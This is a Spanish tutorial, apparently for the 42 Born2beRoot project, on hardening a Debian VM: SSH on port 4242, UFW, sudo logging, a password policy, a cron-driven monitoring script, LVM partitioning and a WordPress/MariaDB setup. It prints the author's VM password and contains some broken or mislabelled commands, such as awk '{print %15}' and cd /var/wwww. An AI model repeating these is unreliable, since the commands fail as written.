3 ◦ Una vez reiniciado debemos volver a introducir las contraseñas de cifrado y del usuario. Para verificar que hayamos instalado sudo correctamente entraremos de nuevo en el usuario root y pondremos el comando sudo -V, este comando además de mostrarnos la versión de sudo también mostrará los argumentos pasados para configurar cuando se creó sudo y los plugins que pueden mostrar información más detallada. (Opcional) ➤ Puesto que el output del comando es muy largo si deseamos verlo completamente debemos redireccionar la salida del mismo a un fichero sudo -V > file.txt y luego editar el fichero nano file.txt. O poner | more despues del comando.

4 ◦ Siguiendo en el usuario root crearemos un usuario con nuestro login con el comando sudo adduser login como nostros ya hemos creado el usuario en la instalación nos debe aparecer que el usuario ya existe.

5 ◦ Ahora deberemos crear un nuevo grupo llamado user42. Para crearlo debemos hacer sudo addgroup user42.

🧠 Que es GID❓ Es el identificador de grupo, es una abreviatura de Group 🆔.

🤔 Se ha creado correctamente el grupo? Lo cierto es que si ya que no ha habido ningún mensaje de error, aún así podemos comprobar si se ha creado con el comando getent group nombre_grupo o también podemos hacer cat /etc/group y podremos ver todos los grupos y los usuarios que hay dentro de ellos.

6 ◦ Con el comando sudo adduser user group incluiremos al usuario en el grupo. Debemos incluir al usuario en los grupos sudo y user42.

7 ◦ Una vez los hayamos introducido para checkear que todo se haya hecho correctamente podemos ejecutar el comando getent group nombre_grupo o tambien podemos editar el fichero /etc/group nano /etc/group y en los grupos sudo y login42 debera aparecer nuestro usuario.

4.2 - Instalación y configuración SSH 📶

🧠 Que es SSH❓ Es el nombre de un protocolo y del programa que lo implementa cuya principal función es el acceso remoto a un servidor por medio de un canal seguro en el que toda la información está cifrada.

1 ◦ Lo primero que haremos será hacer sudo apt update para actualizar los repositorios que definimos en el archivo /etc/apt/sources.list

2 ◦ Acto seguido instalaremos la herramienta principal de conectividad para el inicio de sesión remoto con el protocolo SSH, esta herramienta es OpenSSH. Para instalarla debemos introducir el comando sudo apt install openssh-server. En el mensaje de confirmación ponemos Y, acto seguido esperaremos a que termine la instalación.

Para comprobar que se haya instalado correctamente haremos sudo service ssh status y nos debe aparecer active.

3 ◦ Una vez terminada la instalación se han creado algunos ficheros que debemos configurar. Para ello utilizaremos Nano o si tu lo prefieres otro editor de texto. El primer fichero que editaremos será /etc/ssh/sshd_config. Si no estas desde el usuario root no tendrás permisos de escritura, para ello haremos su y ponemos la contraseña para entrar al usuario root o si no quieres entrar en el usuario root ponemos sudo al principio del comando sudo nano /etc/ssh/sshd_config.

4 ◦ Los # al comienzo de una línea significan que esta comentada, las líneas que vayamos a modificar deberás quitarle el comentario. Una vez estemos editando el fichero deberemos modificar las siguientes líneas:

➤ #Port 22 -> Port 4242

➤ #PermitRootLogin prohibit-password -> PermitRootLogin no

Una vez hayamos modificado esas líneas debemos guardar los cambios realizados sobre el fichero y dejar de editarlo.

5 ◦ Ahora debemos editar el fichero /etc/ssh/ssh_config.

Editaremos la siguiente línea:

➤ #Port 22 -> Port 4242

6 ◦ Por último debemos reiniciar el servicio ssh para que así se actualicen las modificaciones que acabamos de realizar. Para ello debemos escribir el comando sudo service ssh restart y una vez reseteado miraremos el estado actual con sudo service ssh status y para confirmar que se hayan realizado los cambios en la escucha del servidor debe aparecer el Puerto 4242.

4-3 Instalació y configuración de UFW 🔥🧱

🧠 Que es UFW❓ Es un firewall el cual utiliza la línea de comandos para configurar las iptables usando un pequeño número de comandos simples.

1 ◦ Lo primero que debemos hacer el instalar UFW, para ello haremos uso del comando sudo apt install ufw acto seguido escribiremos una y para confirmar que deseamos instalarlo y esperaremos a que termine.

2 ◦ Una vez instalado debemos habilitarlo , para ello debemos poner el siguiente comando sudo ufw enable y acto seguido nos debe indicar que el firewall esta activo.

3 ◦ Ahora lo que debemos hacer es que nuestro firewall permita las conexiones que se lleven a cabo mediante el puerto 4242. Lo haremos con el siguiente comando sudo ufw allow 4242.

4 ◦ Por último comprobaremos que esta todo correctamente configurado mirando el estado de nuestro cortafuegos , en donde ya debe aparecer como permitidas las conexiones mediante el puerto 4242. Para ver el estado daremos uso del comando sudo ufw status.

4-4 Configurar contraseña fuerte para sudo 🔒

1 ◦ Crearemos un fichero en la ruta /etc/sudoers.d/ a mi fichero yo le he decidido llamar sudo_config ya que en ese fichero se almacenará la configuración de la contraseña. El comando exacto para crear el fichero es touch /etc/sudoers.d/sudo_config.

2 ◦ Debemos crear el directorio sudo en la ruta /var/log porque cada comando que ejecutemos con sudo , tanto el input como el output debe quedar almacenado en ese directorio. Para crearlo utilizaremos el comando mkdir /var/log/sudo.

3 ◦ Debemos editar el fichero creado en el paso 1. Como he comentado anteriormente puedes utilizar el editor que mas te guste , pero yo dare uso de nano. Comando para editar el fichero: nano /etc/sudoers.d/sudo_config.

4 ◦ Una vez estamos editando el fichero deberemos introducir los siguientes comandos para cumplir todos los requisitos que pide el subject.

Defaults  passwd_tries=3
Defaults  badpass_message="Mensaje de error personalizado"
Defaults  logfile="/var/log/sudo/sudo_config"
Defaults  log_input, log_output
Defaults  iolog_dir="/var/log/sudo"
Defaults  requiretty
Defaults  secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

➤ Como debería verse el fichero.

🤔 Que hace cada comando❓

4-5 Configuración de política de contraseñas fuerte 🔑

1 ◦ El primer paso será editar el fichero login.defs.

2 ◦ Una vez estemos editando el fichero modificaremos los siguientes parametros:

➤ PASS_MAX_DAYS 99999 -> PASS_MAX_DAYS 30

➤ PASS_MIN_DAYS 0 -> PASS_MIN_DAYS 2

PASS_MAX_DAYS: Es el tiempo de expiración de la contraseña. El numero corresponde a días.

PASS_MIN_DAYS: El número mínimo de días permitido antes de modificar una contraseña.

PASS_WARN_AGE: El usuario recibira un mensaje de aviso indicando que faltan los dias especificados para que expire su contraseña.

3 ◦ Para poder seguir con la configuración debemos instalar los siguientes paquetes con este comando sudo apt install libpam-pwquality , acto seguido pondremos Y para confirmar la instalación y esperaremos a que termine.

4 ◦ Lo siguiente que debemos hacer es volver a editar un fichero y modificar algunas líneas. Haremos nano /etc/pam.d/common-password.

5 ◦ Despues de retry=3 debemos añadir los siguientes comandos:

minlen=10
ucredit=-1
dcredit=-1
lcredit=-1
maxrepeat=3
reject_username
difok=7
enforce_for_root

➤ Así debe ser la línea ↙️

➤ Así se debe ver en el fichero ↙️

🤔 Que hace cada comando❓

minlen=10 ➤ La cantidad minima de caracteres que debe contener la contraseña.

ucredit=-1 ➤ Como mínimo debe contener una letra mayúscula. Ponemos el - ya que debe contener como mínimo un caracter, si ponemos + nos referimos a como maximo esos caracteres.

dcredit=-1 ➤ Como mínimo debe contener un digito.

lcredit=-1 ➤ Como mínimo debe contener una letra minúscula.

maxrepeat=3 ➤ No puede tener más de 3 veces seguidas el mismo caracter.

reject_username ➤ No puede contener el nombre del usuario.

difok=7 ➤ Debe tener al menos 7 caracteres que no sean parte de la antigua contraseña.

enforce_for_root ➤ Implementaremos esta política para el usuario root.

4-6 Conectarse via SSH 🗣

1 ◦ Para conectarnos por SSH debemos cerrar la máquina, abrir VirtualBox y darle a configuración.

2 ◦ Una vez en configuración debemos pinchar sobre el apartado de Red , pincharemos sobre Avanzadas para que así nos muestre más opciones y le daremos a Reenvío de puertos.

3 ◦ Pincharemos sobre el siguiente emoticono para agregar una regla de reenvío.

4 ◦ Por último agregaremos el puerto 4242 al anfitrión y al invitado. Las IP's no son necesarias. Pincharemos sobre el botón de aceptar para que así se apliquen los cambios.

➤ Para poder conectarnos a la máquina virtual desde la real debemos abrir un terminal en la máquina real y escribir ssh gemartin@localhost -p 4242 nos pedirá la clave del usuario y una vez la introduzcamos ya nos saldrá el login en verde y eso significa que estaremos conectados.

⚠️ Si quieres conectarte por SSH con VMware ⚠️

1 ◦ Daremos click derecho sobre nuestra máquina y escogeremos la opción Connect to SSH.

2 ◦ Una vez se nos abra la siguiente pestaña debemos rellenar todos los campos. En port debemos poner 4242 para indicar que queremos conectarnos por ese puerto. Los siguientes campos son el username de tu maquina, en mi caso gemartin y la contraseña del usuario , en mi caso Hola42spain.

También podemos conectarnos mediante el terminal pero debemos sustituir localhost por la IP de la máquina virtual quedaría algo asi: ssh gemartin@10.11.250.100 -p 4242. Revisa la IP de tu máquina virtual y sustituyela por la que pongo de ejemplo.

5- Script 🚨

Esta es una parte muy importante del proyecto. Debes prestar atención en todo, muy importante no copiar y pegar directamente el fichero sin saber que hace cada cosa. En la evaluación debes explicar cada comando si el evaluador lo pide.

🧠 Que es un script❓ Es una secuencia de comandos guardada en un fichero que cuando se ejecuta hara la funcion de cada comando.

5-1 Architecture

Para poder ver la arquitectura del SO y su versión de kernel utilizaremos el comando uname -a ( "-a" == "--all" ) que basicamente printara toda la información excepto si el tipo de procesador es desconocido o la plataforma de hardware.

5-2 Núcleos físicos

Para poder mostrar el numero de nucleos fisicos haremos uso del fichero /proc/cpuinfo el cual proporciona información acerca del procesador: su tipo, marca, modelo, rendimiento, etc. Usaremos el comando grep "physical id" /proc/cpuinfo | wc -l con el comando grep buscaremos dentro del fichero "physical id" y con wc -l contaremos las lineas del resultado de grep. Esto lo hacemos ya que la manera de cuantificar los nucleos no es muy común. Si hay un procesador marcará 0 y si tiene más de un procesador, mostrará toda la información del procesador por separado contando los procesadores usando la notación cero. De esta manera simplemente contaremos las lineas que hay ya que es más cómodo cuantificarlo así.

5-3 Núcleos virtuales

Para poder mostrar el numero de nucleos virtuales es muy parecido al anterior. Haremos uso de nuevo del fichero /proc/cpuinfo , pero, en este caso utilizaremos el comando grep processor /proc/cpuinfo | wc -l. El uso es practicamente el mismo al anterior solo que en vez de contar las lineas de "physical id" lo haremos de processor. Lo hacemos así por el mismo motivo de antes, la manera de cuantificar marca 0 si hay un procesador.

5-4 Memoria RAM

Para mostrar la memoria ram haremos uso del comando free para así ver al momento información sobre la ram, la parte usada, libre, reservada para otros recursos, etc. Para más info sobre el comando pondremos free --help. Nosotros daremos uso de free --mega ya que en el subject aparece esa unidad de medida (Megabyte). Es importante poner --mega y no -m. Con -m nos referiremos a la unidad de medida Mebibyte y no es la que especifica el subject.

Una vez hemos ejecutado este comando debemos filtrar nuestra busqueda ya que no necesitamos toda la información que nos aporta , lo primero que debemos mostrar es la memoria usada, para ello haremos uso del comando awk que lo que hace este comando es para procesar datos basados en archivos de texto, es decir, podremos utilizar los datos que nos interesen de X fichero. Por último lo que haremos será comparar si la primera palabra de una fila es igual a "Mem:" printaremos la tercera palabra de esa fila que será la memoria usada. Todo el comando junto seria free --mega | awk '$1 == "Mem:" {print $3}'. En el script el valor de retorno de este comando se lo asignaremos a una variable que concatenaremos con otras variables para que todo quede igual como especifica el subject.

Para obtener la memoria total el comando es practicamente igual al anterior lo único que deberemos cambiar es que en vez de printar la tercera palabra de la fila queremos la segunda free --mega | awk '$1 == "Mem:" {print $2}'.

Por última parte debemos calcular el % de memoria usada. El comando de nuevo es parecido a los anteriores la única modificación que haremos en la parte del printeo. Como la operación para conseguir el tanto porciento no es exacta nos puede dar muchos decimales y en el subject solo aparecen 2 asique nosotros haremos lo mismo, por eso utilizamos %.2f para que asi solo se muestren 2 decimales. Otra cosa que quizás no sepas es en printf para que se muestre un % hay que poner %%. Todo el comando free --mega | awk '$1 == "Mem:" {printf("(%.2f%%)\n", $3/$2*100)}'.

5-5 Memoria del disco

Para poder ver la memoria del disco ocupada y disponible utilizaremos el comando df que significa "disk filesystem" , se utiliza para obtener un resumen completo del uso del espacio en disco. Como en el subject indica la memoria utilizada se muestra en MB asi que entonces utilizaremos el flag -m. Acto seguido haremos un grep para que solo nos muestre las lineas que contengan "/dev/" y seguidamente volveremos a hacer otro grep con el flag -v para excluir las lineas que contengan "/boot". Por último utilizaremos el comando awk y sumaremos el valor de la tercera palabra de cada linea para una vez sumadas todas las lineas printar el resultado final de la suma. El comando entero es el siguiente: df -m | grep "/dev/" | grep -v "/boot" | awk '{memory_use += $3} END {print memory_use}'.

Para obtener el espacio total utilizaremos un comando muy parecido. Las unicas diferencias seran que los valores que sumaremos seran los $2 en vez de $3 y la otra diferencia es que en el subject aparece el tamaño total en Gb asique como el resultado de la suma nos da el numero en Mb debemos transformarlo a Gb , para ello debemos dividir el numero entre 1024 y quitar los decimales.

Por último debemos mostrar un porcentaje de la memoria usada. Para ello , de nuevo, utilizaremos un comando muy parecido a los dos anteriores. Lo unico que cambiaremos es que combinaremos los dos comandos anteriores para tener dos variables , una que representa la memoria usada y la otra la total. Hecho esto haremos una operacion para conseguir el tanto por ciento use/total*100 y el resultado de esta operacion lo printaremos como aparece en el subject , entre parentesis y con el simbolo % al final. El comando final es este: df -m | grep "/dev/" | grep -v "/boot" | awk '{use += $3} {total += $2} END {printf("(%d%%)\n"), use/total*100}'.

5-6 Porcentaje uso de CPU

Para poder ver el porcentaje de uso de CPU haremos uso del comando vmstat. Este muestra estadísticas del sistema, permitiendo obtener un detalle general de los procesos, uso de memoria, actividad de CPU, estado del sistema, etc. Podriamos poner si ninguna opción pero en mi caso pondré un intervalo de segundos de 1 a 4. Tambien daremos uso del comando tail -1 que este lo que nos va a permitir es que solo produzca el output la ultima linea, entonces de las 4 generadas solo se printara la ultima. Por ultimo solo printaremos la palabra 15 que es el uso de memoria disponible. El comando entero es el siguiente: vmstat 1 4 | tail -1 | awk '{print %15}'. El resultado de este comando solo es una parte del resultado final ya que todavia hay que hacer alguna operación en el script para que quede bien. Lo que habria que hacer es a 100 restarle la cantidad que nos ha devuelto nuestro comando, el resultado de esa operación lo printaremos con un decimal y un % al final y ya estaría hecha la operación.

5-7 Último reinicio

Para ver la fecha y hora de nuestro último reinicio haremos uso del comando who con el flag -b ya que con ese flag nos mostrará por pantalla el tiempo del último arranque del sistema. Como ya nos ha pasado anteriormente nos muestra más información de la que deseamos asique filtraremos y solo mostraremos lo que nos interesa, para ello haremos uso del comando awk y compararemos si la primera palabra de una linea es "system" se printara por pantalla la tercera palabra de esa linea , un espacio y la cuarta palabra. El comando entero seria el siguiente: who -b | awk '$1 == "system" {print $3 " " $4}'.

5-8 Uso LVM

Para checkear si LVM esta activo o no haremos uso del comando lsblk , este nos muestra información de todos los dispositivos de bloque (discos duros, SSD, memorias, etc) entre toda la información que proporciona podemos ver lvm en el tipo de gestor. Para este comando haremos un if ya que o printaremos Yes o No. Basicamente la condicion que buscamos sera contar el numero de lineas en las que aparece "lvm" y si hay mas de 0 printamos Yes, si hay 0 se printara No. Todo el comando seria: if [ $(lsblk | grep "lvm" | wc -l) -gt 0 ]; then echo yes; else echo no; fi.

5-9 Conexiones TCP

Para mirar el numero de conexiones TCP establecidas. Utilizaremos el comando ss sustituyendo al ya obsoleto netstat. Filtraremos con el flag -ta para que solo se muestren las conexiones TCP. Por último haremos un grep para ver las que estan establecidas ya que tambien hay solo de escucha y cerraremos con wc -l para que cuente el numero de lineas. El comando queda tal que asi: ss -ta | grep ESTAB | wc -l.

5-10 Número de usuarios

Daremos uso del comando users que nos mostrará el nombre de los usuarios que hay, sabiendo esto, pondremos wc -w para que cuente la cantidad de palabras que hay en la salida del comando. El comando entero queda así users | wc -w.

5-11 Dirección IP y MAC

Para obtener la dirección del host haremos uso del comando hostname -I y para obtener la MAC haremos uso del comando ip link que se utiliza para mostrar o modificar las interfaces de red. Como aparecen más de una interfaz, IP's etc. Utilizaremos el comando grep para buscar lo que deseamos y asi poder printar por pantalla solo lo que nos piden. Para ello pondremos ip link | grep "link/ether" | awk '{print $2}' y de esta manera solo printaremos la MAC.

5-12 Número de comandos ejecutados con sudo

Para poder obtener el numero de comandos que son ejecutados con sudo haremos uso del comando jornalctl que este es una herramienta que se encarga de recopilar y administrar los registros del sistema. Acto seguido pondremos _COMM=sudo par así filtrar las entradas especificando su ruta. En nuestro ponemos _COMM ya que hace referencia a un script ejecutable. Una vez tengamos filtrada la busqueda y solo aparezcan los registros de sudo todavía deberemos filtrar un poco más ya que cuando incias o cierras sesion de root tambien aparece en el registro, entonces para terminar de filtrar pondremos un grep COMMAND y asi solo apareceran las lineas de comandos. Por ultimo pondremos wc -l para que asi nos salgan enumeradas las lineas. El comando entero es el siguiente: journalctl _COMM=sudo | grep COMMAND | wc -l). Para comprobar que funcione correctamente podemos correr el comando en el terminal, poner un comando que incluya sudo y volver a correr el comando y deberá incrementar el número de ejecucciones de sudo.

5-13 Resultado total del script

⚠️ Recuerda no hacer copia y pega si no sabes el funcionamiento de cada comando ⚠️

#!/bin/bash

# ARCH
arch=$(uname -a)

# CPU PHYSICAL
cpuf=$(grep "physical id" /proc/cpuinfo | wc -l)

# CPU VIRTUAL
cpuv=$(grep "processor" /proc/cpuinfo | wc -l)

# RAM
ram_total=$(free --mega | awk '$1 == "Mem:" {print $2}')
ram_use=$(free --mega | awk '$1 == "Mem:" {print $3}')
ram_percent=$(free --mega | awk '$1 == "Mem:" {printf("%.2f"), $3/$2*100}')

# DISK
disk_total=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_t += $2} END {printf ("%.1fGb\n"), disk_t/1024}')
disk_use=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_u += $3} END {print disk_u}')
disk_percent=$(df -m | grep "/dev/" | grep -v "/boot" | awk '{disk_u += $3} {disk_t+= $2} END {printf("%d"), disk_u/disk_t*100}')

# CPU LOAD
cpul=$(vmstat 1 2 | tail -1 | awk '{printf $15}')
cpu_op=$(expr 100 - $cpul)
cpu_fin=$(printf "%.1f" $cpu_op)

# LAST BOOT
lb=$(who -b | awk '$1 == "system" {print $3 " " $4}')

# LVM USE
lvmu=$(if [ $(lsblk | grep "lvm" | wc -l) -gt 0 ]; then echo yes; else echo no; fi)

# TCP CONNEXIONS
tcpc=$(ss -ta | grep ESTAB | wc -l)

# USER LOG
ulog=$(users | wc -w)

# NETWORK
ip=$(hostname -I)
mac=$(ip link | grep "link/ether" | awk '{print $2}')

# SUDO
cmnd=$(journalctl _COMM=sudo | grep COMMAND | wc -l)

wall "	Architecture: $arch
	CPU physical: $cpuf
	vCPU: $cpuv
	Memory Usage: $ram_use/${ram_total}MB ($ram_percent%)
	Disk Usage: $disk_use/${disk_total} ($disk_percent%)
	CPU load: $cpu_fin%
	Last boot: $lb
	LVM use: $lvmu
	Connections TCP: $tcpc ESTABLISHED
	User log: $ulog
	Network: IP $ip ($mac)
	Sudo: $cmnd cmd"

Script visto desde nano ↙️

Resultado tras la ejecución del script ↙️

6- Crontab ⏰

🧠 Que es crontab? Es un administrador de procesos en segundo plano. Los procesos indicados seran ejecutados en el momento que especifiques en el fichero crontab.

Para tener correctamente crontab configurado debemos editar el fichero crontab con el siguiente comando sudo crontab -u root -e.

En el fichero debemos añadir el siguiente comando para que el script se ejecute cada 10 minutos */10 * * * * sh /ruta del script.

Funcionamiento de cada parametro de crontab:

m ➤ Corresponde al minuto en que se va a ejecutar el script, el valor va de 0 a 59.

h ➤ La hora exacta, se maneja el formato de 24 horas, los valores van de 0 a 23, siendo 0 las 12:00 de la medianoche. dom ➤ hace referencia al día del mes, por ejemplo se puede especificar 15 si se quiere ejecutar cada dia 15.

dow ➤ Significa el día de la semana, puede ser numérico (0 a 7, donde 0 y 7 son domingo) o las 3 primeras letras del día en inglés: mon, tue, wed, thu, fri, sat, sun.

user ➤ Define el usuario que va a ejecutar el comando, puede ser root, u otro usuario diferente siempre y cuando tenga permisos de ejecución del script.

command ➤ Refiere al comando o a la ruta absoluta del script a ejecutar.

7- Signature.txt 📝

Para obtener la firma lo primero que debemos hacer es apagar la máquina virtual ya que una vez la enciendas o modifiques algo la firma cambiará.

El siguiente paso será ubicarnos en la ruta donde tengamos el .vdi de nuestra maquina virtual.

Por último haremos shasum nombremaquina.vdi y esto nos dara la firma. El resultado de esta firma es lo que tendremos añadir a nuestro fichero signature.txt para posteriormente subir el fichero al repositorio de la intra. Muy importante no volver a abrir la maquina ya que se modificara la firma. Para las correcciones recuerda clonar la maquina ya que asi podras encenderla sin miedo a que cambie la firma.

🧠 Que es shasum❓ Es un comando que permite identificar la integridad de un fichero mediante la suma de comprobación del hash SHA-1 de un archivo.

8- Bonus ⭐️

8.1- Particionado manual del disco

1 ◦ En el momento de escoger el particionado de disco seleccionaremos manual. De esta manera podremos editar las particiones una a una.

2 ◦ En este apartado nos muestra una descripción general de nuestras particiones y puntos de montaje. Actualmente no tenemos particiones hechas. Para crear una nueva tabla de particiones debemos escoger el dispositivo donde queremos crearlas. En nuestro caso escogeremos el único disponible.

3 ◦ Aceptamos el mensaje de confirmación. Básicamente nos avisa que si ya hay particiones en el dispositivo seran eliminadas y que si estamos seguros de crear una nueva tabla de particiones vacía..

4 ◦ Una vez hemos completado el paso anterior podemos ver como nos aparece nuestra tabla de particiones vacía. Ahora debemos configurarla , para ello debemos seleccionarla.

5 ◦ Crearemos una nueva partición.

Empezaremos creando esta:

6 ◦ Como bien indica el subject el tamaño de la partición debe ser de 500 megabytes.

7 ◦ Escogemos el tipo de la partición. Escogemos primaria ya que será la partición donde se encontrará instalado el Sistema Operativo.

Descripción breve de todos los tipos de particiones:

◦ Primaria: La única partición en la que puede estar instalada un SO. Solo pueden haber 4 particiones primarias por disco duro o 3 primarias y una extendida.

◦ Secundario/Extendida: Fue ideada para romper la limitación de 4 particiones primarias en un solo disco físico. Solo puede existir una partición de este tipo por disco, y solo sirve para contener particiones lógicas.

◦ Lógica: Ocupa una porción de la partición extendida/primaria o la totalidad de la misma, la cual se ha formateado con un tipo específico de sistema de archivos (en nuestro caso usaremos ext4) y se le ha asignado una unidad, así el sistema operativo reconoce las particiones lógicas o su sistema de archivos. Puede haber un máximo de 23 particiones lógicas en una partición extendida , sin embargo linux el SO con el que trabajamos actualmente lo reduce a 15, más que suficientes para realizar este proyecto.

8 ◦ Seleccionaremos beginning ya que queremos que la nueva partición se cree al principio del espacio disponible.

9 ◦ En la siguiente captura nos muestra los detalles de la partición. Modificaremos el punto de montaje al que escifica el subject.

10 ◦ Escogemos boot como el punto de montaje de nuestra partición.

11 ◦ Terminamos de configurar la partición actual.

12 ◦ Una vez hemos completado el paso anterior ya nos debe aparecer la partición. Ahora debemos crear una partición lógica con todo el espacio disponible del disco, que no tenga punto de montaje y que este encriptada. Para ello seleccionamos el espacio libre donde queremos crearla.

13 ◦ Creamos nueva partición.

14 ◦ Seleccionamos el tamaño máximo.

15 ◦ Seleccionamos el tipo de particion, en este caso lógica.

16 ◦ Modificaremos el punto de montaje.

17 ◦ Escogeremos la opción de no montarlo.

18 ◦ Terminamos de configurar la partición actual.

19 ◦ Configuraremos volúmenes encriptados. Para asi poder encriptar nuestra partición.

20 ◦ Aceptamos el mensaje de confirmación.

21 ◦ Creamos los volúmenes encriptados.

22 ◦ Seleccionamos en que partición queremos realizar la encriptación.

23 ◦ Terminamos de configurar la partición actual.

24 ◦ Finalizamos ya que no queremos crear mas volúmenes encriptados.

25 ◦ Aceptamos el mensaje de confirmación. Nos comenta que que se encriptara todo lo que hay dentro de la partición y que no debe tardar mucho en terminar.

26 ◦ Nos da igual si tarda mucho o poco , le damos a cancel ya que no hay nada que encriptar ya que la partición esta vacía.

27 ◦ De nuevo deberemos poner una contraseña, esta vez será la frase de encriptación. Como te he comentado previamente deberás repetir el proceso y la debes anotar ya que será importante en un futuro.

28 ◦ Repetimos la frase de encriptación.

29 ◦ Configuraremos el gestor de volumenes logicos.

30 ◦ Aceptaremos en mensaje de confirmación ya que estamos de acuerdo con que se guarden los cambion en el disco.

31 ◦ Crearemos un nuevo grupo de volumen. Los grupos de volúmenes agrupan particiones.

32 ◦ Introduciremos el nombre que queremos darle. LVMGroup tal y como indica el subject.

33 ◦ Seleccionaremos la partición donde queremos cear el grupo.

34 ◦ Ahora debemos crear todas las particiones lógicas. Al tener que repetir las mismas acciones varias veces hay capturas que no serán documentadas.

35 ◦ Empezaremos escogiendo el grupo donde queremos que se creen. Seleccionamos el único disponible (el que acabamos de crear).

36 ◦ El orden de la creación de las unidades lógicas será el mismo que indica el subject asique empezaremos por root y acabaremos por var-log. Entonces seleccionaremos el nombre del volumen lógico.

37 ◦ Tamaño como bien indica el subject será de 10g.

38 ◦ Repetimos el proceso para swap. Solo cambiaremos el nombre y el tamaño.

39 ◦ Repetimos el proceso para home. Solo cambiaremos el nombre y el tamaño.

40 ◦ Repetimos el proceso para var. Solo cambiaremos el nombre y el tamaño.

41 ◦ Repetimos el proceso para srv. Solo cambiaremos el nombre.

42 ◦ Repetimos el proceso para tmp. Solo cambiaremos el nombre.

43 ◦ Por último repetimos el proceso para var-log. Solo cambiaremos el nombre y el tamaño.

44 ◦ Una vez hayamos completado todos los pasos anteriores finalizaremos la configuración del gestor de volúmenes lógicos.

45 ◦ Ahora podemos observar como en el apartado donde nos muestran todas nuestras particiones y espacio libre ya aparecen todas las particiones lógicas que acabamos de crear. Bien , debemos configurar todas para seleccionar el sistema de archivos que queremos y el punto de montaje que indica el subject. De nuevo iremos por orden y seleccionaremos la primera que nos aparece que es home.

46 ◦ Nos muestra la configuración de la partición. Debemos escoger un sistema de ficheros ya que actualmente no tiene.

47 ◦ Escogemos el sistema de archivos Ext4, es el sistema de archivos más utilizado en distribuciones Linux.

48 ◦ Ahora debemos seleccionar el punto de montaje.

49 ◦ Seleccionamos home como bien indica el subject.

50 ◦ Una vez ya lo hemos seleccionado terminaremos la configuración de la partición.

51 ◦ De nuevo estos pasos se pueden volver muy repetitivos asique no comentare mucho. Repetimos todo igual (excepto el punto de montaje) para root.

52 ◦ Repetimos el proceso para srv y cambiaremos el punto de montaje.

53 ◦ Para swap haremos una excepción ya el sistema de archivos será diferente. Seleccionamos swap.

54 ◦ En el momento de seleccionar el sistema de archivos lo dejamos en swap area.

55 ◦ Una vez realizado el paso anterior terminaremos la configuración de la partición.

56 ◦ Ahora si volveremos a hacer lo mismo que antes pero ahora lo haremos con tmp y cambiando el punto de montaje.

57 ◦ Repetimos de nuevo el proceso para var cambiando el punto de montaje.

58 ◦ Por último repetimos de nuevo el proceso para var-log en este deberemos introducir manualmente el punto de montaje.

59 ◦ Una vez hemos completado todos los pasos anteriores ya casi hemos acabado, debemos darle a finalizar el particionado y asi se guarden todos los cambios en el disco.

60 ◦ Aceptamos el mensaje y asi se guardaran los cambios. Asegurate que todas las particiones quedan igual que en la captura.

61 ◦ Seleccionamos la opción No ya que no necesitamos paquetes adicionales.

62 ◦ Escogemos nuestro País.

63 ◦ Escogemos deb.debian.org ya que tenindo en cuenta nuestra region es donde tendremos una mejor conexión.

64 ◦ Esta opción la dejaremos vacía le daremos directamente a Continue.

65 ◦ Seleccionamos la opcion No ya que no queremos que los developers vean nuestras estadísticas aunque sean anónimas.

66 ◦ Quitaremos todas las opciones de software (con la barra espaciadora) y le daremos a Continue.

67 ◦ Seleccionaremos Yes para instalar GRUB boot en el disco duro.

68 ◦ Escogeremos el dispositivo para la instalación del cargador de arranque /dev/sda (ata_VBOX_HARDDISK).

69 ◦ Le daremos a Continue para finalizar la instalación.

70 ◦ Una vez hemos terminado con la instalación de debian debemos configurar nuestra máquina virtual.

Click aqui para dirigirte a la configuración de la máquina virtual ⚙️

8.2 - Wordpress y configuración de servicios 🌐

Lighttpd

🧠 Que es Lighttpd❓ Es un servidor web diseñado para ser rápido, seguro, flexible, y fiel a los estándares. Está optimizado para entornos donde la velocidad es muy importante. Esto se debe a que consume menos CPU y memoria RAM que otros servidores.

1 ◦ Instalación de paquetes de lighttpd.

2 ◦ Permitimos las conexiones mediante el puerto 80 con el comando sudo ufw allow 80.

3 ◦ Checkeamos que realmente hayamos permitido. Debe aparecer el puerto 80 y allow.

4 ◦ Añadimos la regla que incluya el puerto 80. Si no recuerdas como se añadian reglas en el reenvío de puertos. Configuración de la máquina → Red → Reenvío de puertos → Replicar la captura.

WordPress

🧠 Que es Wordpress❓ Es un sistema de gestión de contenidos enfocado a la creación de cualquier tipo de página web.

1 ◦ Para instalar la última versión de WordPress primero debemos instalar wget y zip. Para ello haremos uso del siguiente comando sudo apt install wget zip.

🧠 Que es wget❓ Es una herramienta de línea de comandos que se utiliza para descargar archivos de la web.

🧠 Que es zip❓ Es una utilidad de línea de comandos para comprimir y descomprimir archivos en formato ZIP.

2 ◦ Una vez hayamos instalado los paquetes nos debemos ubicar en la carpeta /var/www/ con el comando cd accederemos a ella cd /var/wwww.

3 ◦ Una vez estemos en la ruta /var/www/ deberemos descargar la última versión de WordPress. Como mi idioma nativo es el español yo seleccionaré la última versión en español. Utilizaremos el siguiente comando: sudo wget https://es.wordpress.org/latest-es_ES.zip.

4 ◦ Descomprimimos el archivo que acabamos de descargar con el comando sudo unzip latest-es_ES.zip.

5 ◦ Renombraremos la carpeta html y la llamaremos html_old. sudo mv html/ html_old/.

6 ◦ Ahora renombraremos la carpeta wordpress y la llamaremos html. sudo mv wordpress/ html.

7 ◦ Por último estableceremos estos permisos en la carpeta html. Daremos uso del comando sudo chmod -R 755 html. El número 7 indica que el propietario tiene permisos de lectura, escritura y ejecución. El número 5 indica que el grupo y otros solo tienen permisos de lectura y ejecución.

Mariadb

🧠 Que es MariaDB❓ Es una base de datos. Se utiliza para diversos fines, como el almacenamiento de datos, el comercio electrónico, funciones a nivel empresarial y las aplicaciones de registro.

1 ◦ Instalaremos los paquetes con el comando sudo apt install mariadb-server

2 ◦ Debido a que la configuración predeterminada deja su instalación de MariaDB poco segura, utilizaremos un script que proporciona el paquete mariadb-server para restringir el acceso al servidor y eliminar las cuentas no utilizadas. Ejecutaremos el script con el siguiente comando sudo mysql_secure_installation. Una vez ejecutemos el script nos hara una serie de preguntas.Preguntará si deseamos cambiar a la autenticación de socket de Unix. Como ya tenemos una cuenta root protegida escribiremos N.

Switch to unix_socket autentication? → N
Change the root password? → N
Remove anonymous users? → Y
Disallow root login remotely? → Y
Remove test database and acces to it? → Y
Reaload privilege tables now? → Y

